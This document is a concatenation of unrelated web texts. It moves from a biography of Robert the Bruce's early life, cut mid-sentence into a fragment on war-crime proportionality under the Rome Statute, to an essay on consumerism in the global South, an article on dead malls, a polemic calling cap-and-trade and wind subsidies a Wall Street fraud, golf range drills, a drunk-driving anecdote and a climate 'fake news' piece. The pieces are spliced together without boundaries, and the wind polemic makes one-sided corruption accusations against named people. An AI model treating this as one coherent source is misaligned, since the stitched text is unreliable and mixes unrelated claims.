Robert de Brus, 1st Lord of Annandale, the first of the Bruce, or de Brus, line arrived in Scotland with David I in 1124 and was given the lands of Annandale in Dumfries and Galloway.[2] Several members of the Bruce family were called Robert, the future king was one of ten children, and the eldest son, of Robert de Brus, 6th Lord of Annandale, and Marjorie, Countess of Carrick, and claimed the Scottish throne as a fourth great-grandson of David I.[3] His mother was by all accounts a formidable woman who, legend would have it, kept Robert Bruce's father captive until he agreed to marry her. From his mother, he inherited the Earldom of Carrick, and through his father, a royal lineage that would give him a claim to the Scottish throne. The Bruces also held substantial estates in Aberdeenshire, County Antrim, County Durham, Essex, Middlesex and Yorkshire.[4]
Early life (1274–1292) [ edit ]
Birth [ edit ]
The remains of Turnberry Castle, Robert the Bruce's likely birthplace
Although Robert the Bruce's date of birth is known,[5] his place of birth is less certain, although it is most likely to have been Turnberry Castle in Ayrshire, the head of his mother's earldom.[6] However there are claims that he may have been born in Lochmaben in Dumfriesshire, or Writtle in Essex. [7][8][9] [nb 1]
Childhood [ edit ]
Very little is known of his youth. He was probably brought up in a mixture of the Anglo-Norman culture of northern England and south-eastern Scotland, and the Gaelic culture of south-west Scotland and most of Scotland north of the River Forth. Annandale was thoroughly feudalised and the form of Northern Middle English that would later develop into the Scots language was spoken throughout the region. Carrick was historically an integral part of Galloway, and though the earls of Carrick had achieved some feudalisation, the society of Carrick at the end of the thirteenth century remained emphatically Celtic and Gaelic speaking.[10]
Robert the Bruce would most probably have become trilingual at an early age. He would have been schooled to speak, read and possibly write in the Anglo-Norman language of his Scots-Norman peers and his father's family. He would also have spoken both the Gaelic language of his Carrick birthplace and his mother's family, and the early Scots language.[11][12][13] As the heir to a considerable estate and a pious layman, Robert would also have been given working knowledge of Latin, the language of charter lordship, liturgy and prayer. This would have afforded Robert and his brothers access to basic education in the law, politics, scripture, saints' Lives (vitae), philosophy, history and chivalric instruction and romance.[12][13] That Robert took personal pleasure in such learning and leisure is suggested in a number of ways. Barbour reported that Robert read aloud to his band of supporters in 1306, reciting from memory tales from a twelfth-century romance of Charlemagne, Fierabras, as well as relating examples from history such as Hannibal's defiance of Rome.[13]
As king, Robert certainly commissioned verse to commemorate Bannockburn and his subjects' military deeds. Contemporary chroniclers Jean Le Bel and Thomas Grey would both assert that they had read a history of his reign 'commissioned by King Robert himself.' In his last years, Robert would pay for Dominican friars to tutor his son, David, for whom he would also purchase books.[13] A parliamentary briefing document of c.1364 would also assert that Robert 'used continually to read, or have read in his presence, the histories of ancient kings and princes, and how they conducted themselves in their times, both in wartime and in peacetime; from these he derived information about aspects of his own rule.'[12][14]
Tutors for the young Robert and his brothers were most likely drawn from unbeneficed clergy or mendicant friars associated with the churches patronised by their family. However, as growing noble youths, outdoor pursuits and great events would also have held a strong fascination for Robert and his brothers. They would have had masters drawn from their parents' household to school them in the arts of horsemanship, swordsmanship, the joust, hunting and perhaps aspects of courtly behaviour, including dress, protocol, speech, table etiquette, music and dance, some of which may have been learned before the age of ten while serving as pages in their father's or grandfather's household.[15] As many of these personal and leadership skills were bound up within a code of chivalry, Robert's chief tutor was surely a reputable, experienced knight, drawn from his grandfather's crusade retinue. This grandfather, known to contemporaries as Robert the Noble, and to history as "Bruce the Competitor", seems to have been an immense influence on the future king.[16] Robert's later performance in war certainly underlines his skills in tactics and single combat.[15]
The family would have moved between the castles of their lordships—Lochmaben Castle, the main castle of the lordship of Annandale, and Turnberry and Loch Doon Castle, the castles of the earldom of Carrick. A significant and profound part of the childhood experience of Robert, Edward and possibly the other Bruce brothers (Neil, Thomas and Alexander), was also gained through the Gaelic tradition of being fostered to allied Gaelic kindreds—a traditional practice in Carrick, south-west and western Scotland, the Hebrides and Ireland.[15] There were a number of Carrick, Ayrshire, Hebridean and Irish families and kindreds affiliated with the Bruces who might have performed such a service (Robert's foster-brother is referred to by Barbour as sharing Robert's precarious existence as an outlaw in Carrick in 1307–08).[16] This Gaelic influence has been cited as a possible explanation for Robert the Bruce's apparent affinity for 'hobelar' warfare, using smaller sturdy ponies in mounted raids, as well as for sea-power, ranging from oared war-galleys ('birlinns') to boats.[17]
According to historians such as Barrow and Penman, it is also likely that when Robert and Edward Bruce reached the male age of consent of twelve and began training for full knighthood, they were sent to reside for a period with one or more allied English noble families, such as the de Clares of Gloucester, or perhaps even in the English royal household.[17] Sir Thomas Grey asserted in his Scalacronica that in about 1292, Robert the Bruce, then aged eighteen, was a 'young bachelor of King Edward's Chamber'.[18] While there remains little firm evidence of Robert's presence at Edward's court, on 8 April 1296 both Robert and his father were pursued through the English Chancery for their private household debts of £60 by several merchants of Winchester. This raises the possibility that young Robert the Bruce was on occasion resident in a royal centre which Edward |
elucidates this use of proportionality:
Under international humanitarian law and the Rome Statute, the death of civilians during an armed conflict, no matter how grave and regrettable, does not in itself constitute a war crime. International humanitarian law and the Rome Statute permit belligerents to carry out proportionate attacks against military objectives,[10] even when it is known that some civilian deaths or injuries will occur. A crime occurs if there is an intentional attack directed against civilians (principle of distinction) (Article 8(2)(b)(i)) or an attack is launched on a military objective in the knowledge that the incidental civilian injuries would be clearly excessive in relation to the anticipated military advantage (principle of proportionality) (Article 8(2)(b)(iv)). Article 8(2)(b)(iv) criminalizes:
Intentionally launching an attack in the knowledge that such attack will cause incidental loss of life or injury to civilians or damage to civilian objects or widespread, long-term and severe damage to the natural environment which would be clearly excessive in relation to the concrete and direct overall military advantage anticipated;
Article 8(2)(b)(iv) draws on the principles in Article 51(5)(b) of the 1977 Additional Protocol I to the 1949 Geneva Conventions, but restricts the criminal prohibition to cases that are "clearly" excessive. The application of Article 8(2)(b)(iv) requires, inter alia, an assessment of:
(a) the anticipated civilian damage or injury;
(b) the anticipated military advantage;
(c) and whether (a) was "clearly excessive" in relation to (b). Luis Moreno-Ocampo.
See also [ edit ]
Notes [ edit ]
References [ edit ]The culture of the West is usually seen as deeply, even incurably, materialistic. Many of the evils that disfigure Western society, its greed and wastefulness, are blamed on an excessively materialist view of the world. This needs to be challenged. For a truly materialistic society would have a far greater respect for the material world than the West displays. How can its heedless abuse of the resource-base of the world be called materialistic? Truly materialistic societies are those of indigenous peoples, those who live in symbiosis with the earth, for they treat the source of their well-being with reverence. The fact that they make sacred what is useful to them helps to conserve and to continue traditional cultures. We in the West are in the grip of dangerous fervours, a feverish zeal that has no regard for the material basis, not only of its prosperity but of its very survival. Such a strange response suggests we are in thrall to a curious form of mysticism: it is as though we were eager to tear through the fabric of the earth that sustains us, seized by a nihilistic desire to reach the other side of destruction, to gut the planet of its treasures, so that we may face and defy the gulf that lies beyond. It is, in fact, a strange kind of transcendence that is being sought in the unquiet, restless model of development which the West now proposes to an eager and for the most part welcoming world. Advert If this were not the case, consumerism would not be the fastest-growing cult in the world. For it represents a quasi- religious conversion of the people of the earth from goals of self-reliance and sufficiency into a promise of a plenty beyond the dreams of avarice. Throughout recorded time a majority of the world's people have been tormented by poverty or by the fear of poverty, by want, hunger and insecurity. Consumerism promises not only that they will be released from this ancient bondage, but also that they can by-pass a bare sufficiency, a frugal security, and break through into the satisfaction of limitless desire. For it is axiomatic in Western economics that human desire is infinite; and it is this which feeds the dogmas of perpetual growth and expansion of industrial society. Consumerism is the belief-system that 'rationalizes' this unreason. Its iconography now penetrates the whole world through the global media. There can now be few people on earth who have not seen selective images of Western wealth, the profligate lifestyles, the effortless ease with which money guarantees the rich a smooth passage through the world. The ideology shows human life, not as toil, labour and want, but as endless fun, entertainment, escape, money, sex; and perpetual distraction from the pain and pleasure of being fully human. Those who wish to resist the bush-fires of desire which are sweeping the world, as the hopes and dreams of the poor are swept up in the seductive embrace of universal consumerism, must first understand the structure of feeling in which it operates, the nature of its appeal, the paradox of the spiritual element in its intensely materialistic compulsions. Without some such analysis, we shall be left denouncing gross materialism to poor, wanting, suffering people, who have always lacked basic necessities. The opposite of excess is not poverty, but a secure sufficiency. It is quite clear that the patterns of consumption of the richest 20 per cent of the world's people cannot be replicated, cannot be extended to the earth's needy. The belief that they can is further evidence of the irrationality and disorder of a choiceless globalization which is now presented to the people to be as irreversible as time itself. Making a global market HALF THE WORLD'S population have ready access to televisions. For many of the poor around the world, what appears to be the land of milk and honey - the West - is visible nightly on the world's 800 million TV sets. Advert
Copyright: Hartmut Schwarzbach/Still Pictures INDIA has gone from having 3 million TVs in 1983 to more than 14 million today. An advertiser can reach 200 million people every night. LATIN AMERICA has built or imported 60 million sets, almost one per family since the early 1950s. ADVERTISING is everywhere, bombarding typical members of the global 'consumer class' with some 3,000 messages a day.
But this is the instrument whereby the consent of the poor is to be won for an imperial design which, at an earlier epoch, they resisted with heroic and selfless struggle. This time, their arms are open to the colonizing thrust of an order which itself promises liberation deliverance from subservience to the earth and its necessities of seedtime and harvest, the vagaries of climate and lean seasons. The first objective in this project is the creation, within each country of the South, of a high-consuming, privileged middle class. This class will provide an outlet for Western goods, will offer a model of hope to the mass of the people of their particular country, and who, by their addiction to this version of the good life, will not flinch before what must be done to conserve and to extend it. In other words, as well as serving as a conduit for Western products, they will police the poor of their own country. The new middle classes in the South are often agents of transnational companies, employees of global conglomerates, as well as professionals servicing them: whether directly as sub-contractors, suppliers and small entrepreneurs, importers, sales personnel; or indirectly as the military, politicians, bureaucrats, lawyers and doctors who buy and promote the goods. They are pioneers of the throwaway society, a model and example for the poor to aspire to. In that sense, they are also the guarantors of a kind of social peace: 'If you behave yourselves you will become like us' is their unspoken message to the poor. Just as this is the message of the rich world to these, their surrogates and representatives among the poor of the earth. This is why so many of the setpiece developments at the heart of all the towns and cities of the South are shopping malls. These permanent exhibition sites display all the coveted logos of the Western transnationals cosmetics and couture, watches and fashion, cameras and electrical goods, the magical names of Adidas, Nike, Courreges, Balmain, Elizabeth Arden, Gucci, Sanyo, Mitsubishi, Sony and Mercedes. These names burn, gaudy fires against the night skies, hovering over the cities like apparitions. The gallerias and hotel shopping-arcades are where the rich go shopping and the poor seek refuge from the heat of Bangkok, the tropical storms of Jakarta, the violence of São Paulo, the squalor of Mumbai, the unbreathable air of Mexico City.
Copyright: Paul Smith/Panos Pictures However, since it is the objective of the transnationals to maximize their sales and profits, and since the high-consuming middle class remains a minority other ways of opening up markets must be sought. Most transnationals are very jealous of their logos, and are sorely exercized by pirating and counterfeiting. However, as long as this remains within their own control, most transnationals do not disdain to fake their own goods. Using their own logos and brand-names, inferior products are substituted for the originals for sale to the unsuspecting people of the South. Familiar logos and names frequently conceal articles which consumers in the West would not recognize: a debased, altered, or downmarket imitation. Savlon, from Johnson & Johnson, for instance, is in India a lurid orange colour that stains everything it touches; the item sold in London is quite different. The Indian version contains both Quinoline Yellow WS and Sunset yellow FCF. The same thing is true of Dettol. Colgate toothpaste in the Indian sub-continent appears to consist principally of chalk and cloves. Hindustan Lever's Wheel detergent is 42-per- cent salt, which adds nothing to its cleaning capacity. In the West, detergents must contain less than four-per-cent insoluble matter. In India the insoluble content is set at eight per cent; yet only one detergent brand reaches even this modest level. In the 1980s Hindustan Lever lowered the total fatty matter in their soaps, promoting this as 'improved technology'. In fact, the principal research had been into finding out how to stabilize the tablet of soap by means of a 'filler', which was mainly clay.1 The promotion of 'the Western lifestyle' thus becomes a pallid reflection of the original; it is an idea that is being marketed, something intangible. It is another form of transcendence; this time, consumers are offered the illusion that they are taking part in a life elsewhere; that they are escaping the bleak realities of India, Bangladesh, Indonesia, and are being transported to the earthly paradise that is New York, Paris or London. Of course, the article has to be cheapened to bring it within reach of a less affluent public; this is true of many items of cosmetics, confectionery, pharmaceutical and home-care products. Chains of sub-contractors also enable the parent company to escape responsibility for bad labour practices, below-subsistence wages and exploitative working conditions. There is therefore a hierarchy of consumption, just as there is of labour: the authentic article, and its modified cheapened version; a kind of consumer apartheid. The majority of people in India are never going to be able to compare what they buy with what Western consumers get for their money. Not only are the consumer goods and their fancy packaging destined to be tomorrow's garbage, they are actually garbage today, before they are even brought to market. The fight for markets between transnational companies mimics and parodies the struggle for territory of the Western imperial powers in the eighteenth and nineteenth centuries. Nor is it less lucrative. Of course, there is resistance. In India, for instance, the Nai Azadi Bachao Andolan the 'New Freedom Struggle' is fighting to preserve indigenous products against the transnationals and their flood of cheap consumer goods. But invaders who come in the guise of bringers of affluence are less easily fought off than those who come as conquerors; particularly when they offer a few pitiful consolations to the poor. You have only to visit any city slum, any village in India, to find on display the first emblems of Western consumerism Cadbury's or Nestlé's chocolate, Pepsi Cola, Lux or Lifebuoy soap, Colgate toothpaste. People will offer visitors expensive soft drinks which they cannot really afford; and these are held out as though they were precious gifts. And what is worse, they displace indigenous products. What could be less helpful to the dental health of children than to replace neem twigs, with their cleansing, antibacterial properties for tooth cleaning, with Western-style toothpaste; and what more ironic than the efforts of Western transnationals to patent neem once it has been abandoned as a tooth-cleaning agent by Indian urban dwellers? Sometimes changing the sensibility of the people so that they become hooked on Western products has brutally malignant effects. Winin Pereira cites the example of an Adivasi (indigenous) child who had been fed a diet of nothing but biscuits. The mother was under the impression that this, being a Western'miracle food', would answer all her nutritional needs. The child died.2 There are other difficulties in resisting consumerism. For one thing, real basic human needs are also answered by means of the expensive, value-added, fabricated products on the market. The market economy appropriates both the need and the answer to it, envelops them both in fancy wrappings and then sells the whole package to the people. In this way, pre-cooked meals which contain ingredients from many countries, are also sold to appease hunger; costly trainers with Nike or Adidas embossed on them also provide clothing; secret formulae for chemicalized drinks also quench thirst; 30-year loans at high interest provide the people with the means to acquire shelter; the products of entertainment conglomerates also answer to the need to relax and play. Consumerism's greatest weakness is that it eliminates other fundamental needs for example, the need to provide for ourselves and the need to create and to do things for each other. These equally important needs are extinguished by the market, which requires only that we get the money to buy in whatever is necessary for our idea of 'the good life'. Paradoxically, the market, even as it answers need, also destroys its own capacity to answer others. It is these contradictions that have to be opened up in the work of resistance: the faith in transcendence that makes consumerism a debased form of religion; the creation of cheap imitations for the South; the appropriation of need by the market economy and its power to mis-shape it so that it corresponds to some marketed commodity; the snuffing out of our human capacities to do and make things for one another. Reclamation of our human powers has to be the objective of people both in the North and the South; just as in the material world, we have to reclaim the poisoned and polluted elements that sustain life itself; for these are inseparable. * Jeremy Seabrook is a journalist, broadcaster and author of several books including:In the Cities of the South (available through NI at £14.00 including p+p) and The Skin Trade. 1 NG Wagle, Keemat, Mumbai 1992.
2 Quoted in Asking the Earth, The Other India Press, 1992. Contents page Copyright New Internationalist Magazine 1997A dead mall[1], or ghost mall, or simply abandoned mall is a shopping mall with a high vacancy rate or a low consumer traffic level, or that is dated or deteriorating in some manner.[2]
Many malls in North America are considered "dead" (for the purposes of leasing) when they have no surviving anchor store (often a large department store) or successor that could serve as an entry into or attraction to the mall.
Without the pedestrian traffic that department stores previously generated, sales volumes decline for almost all stores and rental revenues from those stores can no longer sustain the costly maintenance of the malls.[3][4] Without good pedestrian access, smaller stores inside malls are difficult to reach.
The now-vacant anchor store position may be referred to as a "ghostbox" and the outline of where signage once was, indicates the branding or trademark of the former anchor as "label scar" (comparable to a ghost sign in other settings).[by whom?]
Socio-economic decline [ edit ]
In many instances, a mall begins dying when its surrounding neighborhood undergoes a socio-economic decline.
In the case of the Cloverleaf Mall in Chesterfield, Virginia, which had operated successfully in the 1970s and 1980s; by the 1990s, "women, began staying away from the mall, fearful of the youth who were beginning to congregate there. People [said a former Cloverleaf manager] started seeing kids with huge baggy pants and chains hanging off their belts, and people were intimidated, and they would say there were gangs”.[5]
Changes in the retail climate [ edit ]
Structural changes in the department-store industry have also made survival of these malls difficult. These changes have contributed to some areas or suburbs having insufficient traditional department stores to fill all the existing larger-lease-area anchor spaces. A few large national chains have replaced many local and regional chains, and some national chains are defunct.
In the US (and to a lesser extent in Canada) newer "big box" chains (also referred to as "category killers") such as Walmart, Target Corporation and Best Buy normally prefer purpose-built free-standing buildings rather than utilizing mall-anchor spaces.[5] 21st-century retailing trends favor open air lifestyle centers; which resemble elements of power centers, big box stores, and strip malls; and (most disruptively for storefronts) online shopping over indoor malls.[7] The massive change led Newsweek to declare the indoor mall format obsolete in 2008.[8] The year 2007 marked the first time since the 1950s that no new malls were built in the United States.[5] Most Canadian malls still remain indoors after renovations due to the harsh winter climate throughout most of the country, however the Don Mills Centre was turned into an open-air shopping plaza. Attitudes about malls have also been changing. With changing priorities, people have less time to spend driving to and strolling through malls, and during the Great Recession, specialty stores offered what many shoppers saw as useless luxuries they could no longer afford. In this respect, big box stores and conventional strip malls have a time-saving advantage.[9]
In recent years, the number of dead malls has increased significantly because the economic health of malls across the United States has been in decline, with high vacancy rates in many of these malls.[10] From 2006 to 2010, the percentage of malls that are considered to be "dying" by real estate experts (have a vacancy rate of at least 40%), unhealthy (20-40%), or in trouble (10-20%) all increased greatly, and these high vacancy rates only partially decreased from 2010 to 2014.[10] In 2014, nearly 3% of all malls in the United States were considered to be "dying" (40% or higher vacancy rates) and nearly one-fifth of all malls had vacancy rates considered "troubling" (10% or higher).[10]
Some real estate experts say the "fundamental problem" is a glut of malls in many parts of the country creating a market that is "extremely over-retailed".[10] Cowen Research reported that the number of malls in the U.S. grew more than twice as fast as the population between 1970 and 2015; Cowen also reported that shopping center "gross leasable area" in the U.S. is 40 percent more shopping space per capita than Canada and five times more than the U.K.[11]
Some malls have maintained profitability, particularly in areas with frequent inclement weather (or otherwise weather undesirable for outdoor activities, such as shopping in an open-air shopping/lifestyle center)[citation needed] or large populations of senior citizens who can partake in mall walking.[12] Combined with lower rents, these factors have led to companies like Simon Malls enjoying high profits and occupancy averages of 92%.[13] Some retailers have also begun to re-evaluate the mall environment, a positive sign for the industry.[14]
A retail apocalypse that started in the 2010s made the dead mall situation even more noticeable, due to the complete closing of several retailers, as well as anchor tenants Macy's and J. C. Penney closing many locations and the sharp decline in Sears Holdings. The trend was particularly noticeable when Pittsburgh Mills, a mall once worth as much as $190 million, was sold at a foreclosure sale for $100, with the mall itself being purchased by lien holder Wells Fargo.[15][16]
Redevelopment [ edit ]
Dead malls are occasionally redeveloped. Leasing or management companies may change the architecture, layout, decor, or other component of a shopping center to attract more renters and draw more profits. Several dead malls have been significantly renovated into open-air shopping centers.
Sometimes redevelopment can involve a switch from retail usage to office or educational use for a building, such as is the case with Park Central Mall in Phoenix, Eastmont Town Center in Oakland, California, Windsor Park Mall in San Antonio (now the global headquarters of Rackspace), Global Mall at the Crossings in Nashville, Tennessee, and the Coral Springs Mall in Florida. Allegheny Center Mall, a retail mall just north of downtown Pittsburgh, Pennsylvania, closed as a retail mall in the early 1990s. The mall was successfully redeveloped into office space, but much of the space was taken by telecommunications carriers, data center operators, and Internet Service Providers, and is now a major carrier hotel serving southwestern Pennsylvania. Yet another use for a former mall can be seen in Lexington, Kentucky, where Lexington Mall was partially demolished and converted into a satellite worship center for a local megachurch.
Other times, redevelopment can involve a conversion from a shopping mall into an open-air, mixed-use area. However, this will require developers to change the layout of the area. And usually, that involves parts of or all of the former shopping mall being demolished. An example of this can be seen in Fairfax County, Virginia, where the old Springfield Mall was converted into Springfield Town Center, a mixed-use development that includes a 12-screen movie theatre, shops, and restaurants with outdoor seating and entrances. As a last resort, the structure is demolished and the property redeveloped for other uses, known as building on a greyfield site.
In jurisdictions such as Vermont (with a strict permitting process) or in major urban areas (where open fields are long gone), this greyfielding can be much easier and cheaper than building on a greenfield site. A good example of this type of redevelopment is Prestonwood Town Center in Dallas and Voorhees Town Center in Voorhees Township, New Jersey.
A proposal called "Re-Habit" by an Architecture Firm in California[17] is to use portions of struggling malls particularly vacated big box space for homeless housing. [18]
See also [ edit ]Cap and Trade blowback What is the primary reason that Wall Street wants to finance, maintain huge equity interests and underwrite industrial wind development? Cap and Trade is the hidden motive behind this defective alternative energy technology and wind turbine development. The environment and the economy will suffer incalculable greater harm. The Adverse Economic Impacts from Cap & Trade Regulations on CO2 by Arthur Laffer and Wayne Winegarden concludes: "As currently conceived, cap-and-trade regulations are an economically harmful and ineffective policy for addressing global warming concerns. Because the regulations would constrain GHG (Greenhouse Gas) emissions, significant price volatility for emissions allowances, such as the volatility that has been evident in the European Union’s emissions market, are a natural consequence. Citing the price volatility issue, the Congressional Budget Office has concluded that cap-and trade regulations are not a sound policy for addressing global warming issues." Simply put, Rachel Morris in Mother Jones: Could Cap and Trade Cause Another Market Meltdown?, describes the ruse, clearly and to the point. "Cap and trade would create what Commodity Futures Trading commissioner Bart Chilton anticipates as a $2 trillion market, "the biggest of any [commodities] derivatives product in the next five years." That derivatives market will be based on two main instruments. First, there are the carbon allowance permits that form the nuts and bolts of any cap-and-trade scheme. Under cap and trade, the government would issue permits that allow companies to emit a certain amount of greenhouse gases. Companies that emit too much can buy allowances from companies that produce less than their limit. Then there are carbon offsets, which allow companies to emit greenhouse gases in excess of a federally mandated cap if they invest in a project that cuts emissions somewhere else—usually in developing countries. In addition to trading the allowances and offsets themselves, participants in carbon markets can also deal in their derivatives—such as futures contracts to deliver a certain number of allowances at an agreed price and time. These instruments will be traded not only by polluters that need to buy credits to comply with environmental regulations, but also by financial services firms. In fact, a study (PDF) by Duke University's Nicholas Institute for Environmental Policy Solutions anticipates that if the United States passes a cap-and-trade law, the derivatives trade will probably exceed the market for the allowances themselves. "We are on the verge of creating a new trillion-dollar market in financial assets that will be securitized, derivatized, and speculated by Wall Street like the mortgage-backed securities market," says Robert Shapiro, a former undersecretary of commerce in the Clinton administration and a cofounder of the US Climate Task Force." The real world consequence of allowing bribes for a continued offset to pollute is obscene. The Economist has described the theoretical workings of cap-and-trade by stating, "The basic idea is that power plants and manufacturers will be allowed to emit a certain number of tons of carbon. If they exceed that amount, they must buy 'credits' from companies that pollute less than their allowance. One day the price of a ton of carbon may be as widely quoted as that of a barrel of oil." Those riches would be paper claims on imaginary credits. REC credits (Renewal Energy Certificates) are central to the financiers of industrial wind projects. Trading, hedging, swaps, options and futures are all part of the payday that Wall Street sees for supporting the wind industry. The hoax is real and defies any minimum standard of accountability. Oreste Vigorito once owned IVPC with Brian Caffyn. When asked about his ongoing involvement with Vigorito, Caffyn who "helped found controversial wind-energy developers Cape Wind and First Wind expressed surprise late last week at news that his one-time partner in a separate wind-energy company in Italy has been arrested and charged with fraud." The London Financial Times report. " Gone with the wind ", mounted by the finance ministry's anti-fraud police, started in 2007 and began by blocking public subsidies worth €9.4m ($14m, £8.4m) granted by the ministry for economic development. Last year, police confiscated seven wind farms with 185 turbines in Sicily linked to IVPC. Anti-mafia prosecutors in Sicily have launched a parallel investigation. The Financial Times was told in April that a large number of wind farms had been built with public subsidies but had never functioned." In September 2009, after First Wind affiliates received $115 million in federal stimulus money, $74.6 million of which for the Cohocton NY project, U.S. Rep. Eric J. Massa (D-N.Y.) wrote to President Barack Obama, calling the grants "very alarming" and saying the company "abused the public trust. "No electricity has been produced for sale out of the projects," but the company "has already collected production rewards for non-existent energy," Massa told Obama. Back in the First Wind SEC IPO application is the acknowledgement that hedging on REC’s was a common practice. One of the projects inclusive in non-existing electric production hedging was the proposed Prattsburgh, NY development. That venture was never built and the developer ultimately made a formal withdrawal from the town and terminated their land leases. Will the public get an accurate account if those hedges were legal or complied with government regulations? Do not expect federal authorities to keep First Wind honest. The financial ownership of First Wind resides with Madison Dearborn and DE Shaw hedge funds, 42 % for each firm. Madison Dearborn has friends in high places, Rahm Emanuel being one. After leaving the Clinton administration, Emanuel engaged in investment banking at Wasserstein Perella. Madison Dearborn did business through Emanuel. Madison Dearborn Partners, a Chicago private equity firm is located is in the same building as Wasserstein’s offices. The New York Times writes, "Back in 1998 John Simpson, who ran the Chicago office of the investment banking boutique Wasserstein Perella & Company, had flown to Washington to meet with Mr. Emanuel at the behest of Mr. Simpson's boss, Bruce Wasserstein, a major Democratic donor and renowned Wall Street dealmaker who had gotten to know Mr. Emanuel. "I had this idea that this could work and that it had upside," Mr. Wasserstein, now chairman and chief executive of Lazard, the investment bank, told The Times. "It worked out better than I could have hoped." "And better than Mr. Emanuel could have imagined as well. Over the course of a three-hour-plus dinner, Mr. Simpson and Mr. Emanuel discussed how they might work together." Upon leaving the private sector, Emanuel received campaign contributions from Madison Dearborn Partners, in the amount of $98,200 from 2002-2010. Larry Summers did even better. The Wall Street Journal reports, "Mr. Summers joined D.E. Shaw Group in late 2006 as a managing director. He helped develop strategies including new businesses and also helped evaluate investments for the New York firm, which oversees about $30 billion in assets, making it one of the biggest hedge-fund managers in the world." The New York Times publishes, "Mr. Summers and Shaw executives say his role there was to be a sounding board for Shaw’s traders. But interviews with friends and former colleagues suggest that Mr. Summers’s role at D. E. Shaw was wider and more complex." The Business Insider goes further. "According to the NYT, Larry Summers worked just one day a week while making $5.2 million in two years at hedge fund D.E. Shaw." Brian Caffyn’s high-powered friends in the Obama’s Washington translate into "special treatment" for First Wind. Cap and Trade would be a god sent for an industrial wind developer with a history of failed projects (see Cohocton Wind Watch ), equity and hedge fund firms, a corrupt - pay to play - presidential administration and every other Wall Street guru who believes that the privileged deserve every ill-gotten penny they can steal. The Street drives this next generation and refined Enron wind swindle industry, into a financial abyss every bit as deep as the lack of meaningful electric generation, from their inefficient wind turbines. The government pours subsidies, grants, guaranteed loans and tax credit monies down a black hole, in a futile attempt to spend our county into energy independence. Did you ever wonder why the state refuses to foster a true independent energy economy for the nation, while conducting privileged cronyism for friends of the financial ruling class? Well, look no further than the rewards given to crooked industrial wind developers for building useless projects that do not generate useable electricity, but sell phony REC credits for energy that is never produced. Criminal indictments are long overdue. The next financial bubble assures to have the stench and foul odor of the Cap and Trade system. Allowing State/Capitalism to pervert the financial markets cost us much more than just higher electric bills. SARTRE – April 25, 2010 Read Industrial Wind and the Wall Street Cap and Trade Fraud - Part 1 "It is fair to assess that no wind energy to speak of would exist if it had to compete on market terms"... Center for Politiske StudierHitting off the mats at a golf range isn’t like hitting off grass in the fairway. Mats have their limitations when practicing—especially when it comes to hitting irons or hybrids. But that doesn’t mean you can’t improve your game at the range. You can. You just need to make a few changes. With help from some “swing aids,” you can ingrain the feel of a good swing that will help you put a sizeable dent in your golf handicap.
The key to improving at the range is to work on one thing at a time. For example, you can work on grooving a good swing path, stopping coming over the top, or correcting a severe hip slide, but not all three simultaneously. You must prioritize. Work on the most critical first. Work on the others another time. Below are five drills (with golf tips). we use at our golf instruction sessions designed specifically for the range
Improving Your Ballstriking
Many weekend golfers don’t play—or practice—enough to improve their ballstriking. They hit fat and thin shots as well as toe and heel shots all in one round. To stop hitting bad shots line up a series of balls about 15 inches behind the ball you’re addressing and practice hitting shots with out disturbing the series of balls. To stop hitting heel and toe shots, position one ball 3 inches outside the ball you’re addressing and another ball 3 inches inside the ball you’re addressing. Try to hit the ball in the middle without touching the other two.
Grooving A Swing Path
Many golfers we see at our golf instruction sessions hit pulls and slices. That’s because they’re using an out-to-in swing path. To cure this fault, set up a ball bucket in front of your back foot. Line it up with the heel of your back foot. Make sure the bucket is close enough to your foot so you don’t hit it on your backswing. Now hit some balls. This drill teaches you to curve the ball from right to left. If you hit the bucket when swinging, you’ve used an out-to-in swing path.
Visualizing Shots
Starting the ball on the correct line is vital. Unfortunately, many players don’t do this. Here’s a drill from our golf lessons that trains you to do this: Balance two buckets—one on top of another—about 5 feet in front of the mat, but directly on the target line. Using a square stance, hit some balls. Train your eyes to see the proper starting line when hitting—just to the right of the two buckets for a draw. On the downswing you should feel as if your right forearm is rotating over to touch your left forearm.
Maintaining Posture Through Impact
Overswinging disrupts one’s posture, causing excess body movement and throwing your timing off. To fix this fault, try this drill we use at our golf lessons: Get into your normal stance. Have a friend set up a chair behind you so that the top of the chair just touches your butt. Your goal is to make good swings without losing contact with the back of the chair. Keeping in touch with the chair helps you grove a straighter swing path.
Turning Your Hips Correctly
Golfers often slide their hips forward to generate more power. Your hips must turn, not slide forward. To fix this fault, take one of those metal bag stands (or a similar object) and place it touching the outside of your front heel. Now hit some balls. You should be able to make an aggressive swing without causing the metal stand to move forward significantly. It’s okay to bump it slightly when swinging. But if you move it too far forward laterally, you know you moved forward too much.
Hitting balls at the range isn’t quite the same as hitting them off the fairway. But you can still ingrain a swing at the range that delivers power and accuracy using drills and golf tips we described above. Developing a powerful, accurate swing will help you break 80 and chop strokes off your golf handicap.Andrew Caswell may have failed his sobriety test, but let’s give him an “A” for effort. Or for at least making us laugh.
When the 29-year-old Greece, NY man was stopped by police early Monday morning, December 19, 2007, he told police he’d hit a deer and was taking it to the hospital to be treated.
It started when police responded to a call at around 2:24 a.m. Monday morning for the report of a car accident involving a deer. According to published reports, witnesses saw two men arguing on the side of the road; they say the men then left the scene of the accident with the deer in the trunk of their car.
The driver apparently told witnesses he was taking the injured deer to Unity Hospital in Rochester, NY to be treated. (This story is right in my backyard, but for those of you not familiar with Unity – it’s a hospital for people, not animals.)
Police later spotted Caswell’s car. When they stopped him, Caswell indeed told police he was on his way to the emergency room with the deer. The deer was in the trunk, dead.
Poor Bambi.
Police suspected Caswell was drunk; turns out his BAC was.16, twice the legal limit. He was charged with DWI and leaving the scene of a motor vehicle accident. Greece Police Chief Todd Baxter told reporters that while he sympathized Caswell’s desire to save the deer during the holidays, DWI will not be tolerated.truth hurts Fake news is old news to climate scientists
Think fake news is a recent plague, borne of the presidential election? It’s not.
“The notion of ‘fake news’ is hardly new to climate scientists like myself,” Penn State climatologist Michael Mann told Grist. “We’ve known about it (and written about it) for years.”
Thanks to researchers like Mann — the originator of the famed “hockey stick” chart and a frequent target of fake news himself — the science behind climate change is settled. And yet there remains a vocal contingent of ideologues who refuse to accept the connection between carbon emissions and a warming planet. For example, Donald Trump and a good portion of his proposed cabinet. For years, right-wing news organizations like Breitbart, Infowars, the Daily Caller, and Climate Depot have fed their denial, publishing stories that misinterpret, misrepresent, or distort scientific findings — or just outright lie.
This kind of fake news has set progress back years, if not decades, Mann said. It’s a “crime against the planet,” he told Grist, and a “crime against humanity.”
All the news that’s unfit to print
